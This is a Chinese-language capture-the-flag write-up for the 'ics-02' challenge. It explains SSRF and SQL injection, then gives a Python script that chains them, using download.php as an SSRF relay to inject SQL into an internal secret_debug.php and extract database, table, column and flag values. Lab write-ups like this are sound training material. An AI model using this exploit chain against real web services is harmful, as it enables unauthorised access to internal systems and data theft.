(文章目录)
前言
SSRF(服务器端请求伪造)是一种攻击技术,攻击者通过构造恶意请求,欺骗服务器发起外部请求,获取服务器本应该不被直接访问的信息或服务。攻击者可利用 SSRF 进行一系列攻击,包括对内部资源进行扫描、窃取敏感信息、攻击内部系统等。
SQL 注入是一种常见的 Web 攻击技术,攻击者通过在输入框等用户交互界面中注入 SQL 代码,进而控制数据库操作,例如读取、修改、删除等。攻击者可通过 SQL 注入进行窃取敏感信息、篡改数据,或直接攻击数据库服务器等。SQL 注入攻击容易发现,但往往对于未进行有效防范的 Web 应用带来重大影响。
一、ics-02
1.题目
2.答题
2.1 binwalk分析文件
进入文档中心 下载下来的php文件打不开,file查看下文件类型 发现是pdf文件,重命名文件打开pdf
得到信息SSRF
2.2 目录扫描
进行网站目录扫描 发现/secret/目录,访问一下试试
secret_debug.php提示IP没有权限,似乎与前面提示的ssrf呼应了呢
secret.php进来是个问卷
全选第一项试试,发现跳到了私密页面2 根据secret参数带入secret_debug构造请求:http://61.147.171.105:54562/secret/secret_debug.php?s=3&txtfirst_name=a&txtmiddle_name=b&txtlast_name=c&txtname_suffix=d&txtdob=01/05/2000&txtdl_nmbr=1234&txtretypedl=1234
发现.pdf加在了s=3后面,&符号导致,所以进行url编码,服务器再解码,.pdf就会加到所有参数最后
还是有问题,.pdf加在最后一个参数后面会影响其值,所以在参数后面再加一个&,相当于隔断了pdf
注册成功。。注册的参数可以进行sql注入,通过download.php用ssrf对secret_debug.php发起请求进行sql注入
import requests
import random
import urllib
url = 'http://61.147.171.105:52912/download.php'
# subquery = "database()"
# ssrfw
# subquery = "select table_name from information_schema.tables where table_schema='ssrfw' LIMIT 1"
# cetcYssrf
# subquery = "select column_name from information_schema.columns where table_name='cetcYssrf' LIMIT 1"
# secretname -> flag
# subquery = "select column_name from information_schema.columns where table_name='cetcYssrf' LIMIT 1, 1"
# value -> flag{cpg9ssnu_OOOOe333eetc_2018}
subquery = "select value from cetcYssrf LIMIT 1"
id = random.randint(1, 10000000)
d = ('http://127.0.0.1/secret/secret_debug.php?' +
urllib.parse.urlencode({
"s": "3",
"txtfirst_name": "L','1',("+subquery+"),'1'/*",
"txtmiddle_name": "m",
"txtLast_name": "y",
"txtname_suffix": "Esq.",
"txtdob": "*/,'01/10/2019",
"txtdl_nmbr": id,
"txtRetypeDL": id
}) + "&")
r = requests.get(url, params={"dl": d})
print(r.text)
得到flag:flag{cpg9ssnu_OOOOe333eetc_2018}